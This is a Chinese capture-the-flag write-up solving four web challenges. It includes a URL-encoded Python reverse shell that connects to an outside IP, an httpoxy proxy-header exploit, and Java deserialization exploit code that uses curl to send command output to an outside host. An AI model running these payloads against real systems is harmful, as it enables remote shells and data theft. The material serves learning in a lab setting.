V&N招新赛部分web题解
HappyCTFd 考点:ctfd漏洞
参考链接https://www.colabug.com/2020/0204/6940556/ 漏洞的相关分析,上文写的很详细,这里就不再介绍。
解题步骤:
先注册一个admin的账号,通过在admin前面加空格来绕过重复限制。
生成忘记密码的链接。
更改自己用户名为非admin.
点击更改密码的链接,改后登录
下载,后就得到flag.
CHECKIN 考点:python反弹shell proc目录
访问就可以得到源码,右键源代码看到的代码自动有换行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from flask import Flask, requestimport osapp = Flask(__name__) flag_file = open("flag.txt" , "r" ) @app.route('/shell') def shell () : os.system("rm -f flag.txt" ) exec_cmd = request.args.get('c' ) os.system(exec_cmd) return "1" @app.route('/') def source () : return open("app.py" ,"r" ).read() if __name__ == "__main__" : app.run(host='0.0.0.0' )
看到很简单的源码,有两个路由,
/ :可以得到app.py源码
/shell : 通过传入c变量可以执行命令,但是会删除flag.txt文件。
开始时,想着通过类似时间盲注的方法去做题,后来一想python可以直接反弹shell,
然后开了个linux-lab,反弹shell。
1 c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22174.0.216.234%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
之后就是找flag了,这里又学到了linux中/proc目录内容。更详细的可以参考 这篇文章,总结的很详细。
由于ps命令不可用,这里我们就去翻一下文件夹
最后在/proc/10/fd文件里看见了flag
TimeTravel 这题也给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting(0 ); require __DIR__ . '/vendor/autoload.php' ;use GuzzleHttp \Client ;highlight_file(__FILE__ ); if (isset ($_GET['flag' ])) { $client = new Client(); $response = $client->get('http://127.0.0.1:5000/api/eligible' ); $content = $response->getBody(); $data = json_decode($content, TRUE ); if ($data['success' ] === true ) { echo system('/readflag' ); } } if (isset ($_GET['file' ])) { highlight_file($_GET['file' ]); } if (isset ($_GET['phpinfo' ])) { phpinfo(); }
队友直接发了一个cve-2016-5385 ,然后去网上查一查,看到vulhub里面就有 看一下里里面的源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php require __DIR__ . '/vendor/autoload.php' ;use GuzzleHttp \Client ;header('Content-Type: application/json; charset=utf-8' ); $client = new Client([ 'base_uri' => 'http://httpbin.org' , 'timeout' => 2.0 , ]); $response = $client->get('http://httpbin.org/get' ); $body = $response->getBody(); echo $body;
源码差不多
简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_
前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY
值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com
这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com
,进而窃取数据包中可能存在的敏感信息。
这种漏洞的利用,通过在http请求头中添加Proxy头,就可以把请求代理到恶意的代理服务器,进而可以窃取数据报的敏感信息,也可以篡改请求报的响应。
1 2 3 4 5 6 7 8 9 if (isset ($_GET['flag' ])) { $client = new Client(); $response = $client->get('http://127.0.0.1:5000/api/eligible' ); $content = $response->getBody(); $data = json_decode($content, TRUE ); if ($data['success' ] === true ) { echo system('/readflag' ); } }
从上面的关键代码可以看到,要得到flag,需要满足$data['success'] === true
,如果请求代理到我们的服务器,然后回向http://127.0.0.1:5000/api/eligible发送请求,如果发送的请求,json解码后,$data['success']为true,就会得到flag。
解题步骤
然后用php在本地起一个服务器,监听5000端口,在api/eligible目录下新建index.php,脚本输出,解码后$data[‘success’]为true。
1 2 3 4 <?php $a=array ("success" =>true ); echo json_encode($a);
本地在用php启一个php的内置服务器,端口为5000
然后burp再发包,触发条件,得到flag。
EasySpringMVC 考点:java反序列化
题目给了源码是war包,用tomcat部署后,
浏览一下功能,可以上传,但是要webmanage权限,开始以为要修改权限,上传个图片马 什么的。
然后审计源码,由于之前没有做过java的题,对java的程序框架不是很了解,一边百度一边理解,
程序大致的框架就是这样(本人的理解),有控制器,有jsp文件,lib文件夹里面的都是引用的jar包,看了里面的jar包,没有反序列化漏洞的版本。这里的ClientinfoFilter就是一个全局过滤器,在web.xml文件中,
1 2 3 4 5 6 7 8 <filter > <filter-name > clientinfo</filter-name > <filter-class > com.filters.ClentInfoFilter</filter-class > </filter > <filter-mapping > <filter-name > clientinfo</filter-name > <servlet-name > *</servlet-name > </filter-mapping >
filter-class 必需元素,它指定过滤器实现类的完全限定名。
filter-name 这个必需的元素必须与用filter元素声明时给予过滤器的名称相匹配。
servlet-name 此元素给出一个名称,此名称必须与利用servlet元素给予servlet或JSP页面的名称相匹配。
参考链接
然后我们继续看ClientinfoFilter中的doFilter方法,
首先去取cookie,如果cookie中有cinfo,exist就为true,然后进入判断,将cookie中的cinfo值base64解码,然后调用Tools.parse()方法,继续跟进
parse方法对输入进行了反序列化,可以发现Tools类重写了readObject方法,那么参考大佬的文章 ,重写反序列化方法会有风险,而且这里重写的方法还调用了ProcessBuilder().start)(),这个方法可以执行命令,到了这里,我们的思路就很清晰了,通过构造cookie,触发反序列化,调用重写的readObject方法,进而调用ProcessBuilder.start()方法,执行命令。
首先,我们在本地尝试一下可不可以,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.tools;import java.util.Base64;public class exp { public static void main (String[] args) { try { Tools test = new Tools(); byte [] bytes = Tools.create(test); Base64.Encoder encoder = Base64.getEncoder(); System.out.println(encoder.encodeToString(bytes)); } catch (Exception e) { e.printStackTrace(); } } }
从上图我们可以看到create()方法中调用了writeObject,所以我们可以重写writeObject()函数,来进一步利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.tools;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class Tools implements Serializable { private static final long serialVersionUID = 1L ; private String testCall; public Tools () { } public static Object parse (byte [] bytes) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); return ois.readObject(); } public static byte [] create(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(bos); outputStream.writeObject(obj); return bos.toByteArray(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { Object obj = in.readObject(); (new ProcessBuilder((String[])((String[])obj))).start(); } private void writeObject (ObjectOutputStream out) throws IOException { String[] cmd={"calc" }; out.writeObject(cmd); } }
将运行后的base64,放入test.java中测试一下
之后就可以执行命令了,这里参考一下师傅的文章 ,里面讲解了Runtime.getRuntime().exec(cmd)和ProcessBuilder pb=new ProcessBuilder(cmd)的区别和用法,
然后我们把命令改下
1 2 3 4 5 private void writeObject (ObjectOutputStream out) throws IOException { String[] cmd={"/bin/sh" , "-c" ,"curl -d `/readflag` 174.0.219.93:8888" }; out.writeObject(cmd); }
生成的替换下cookie,就得到了 flag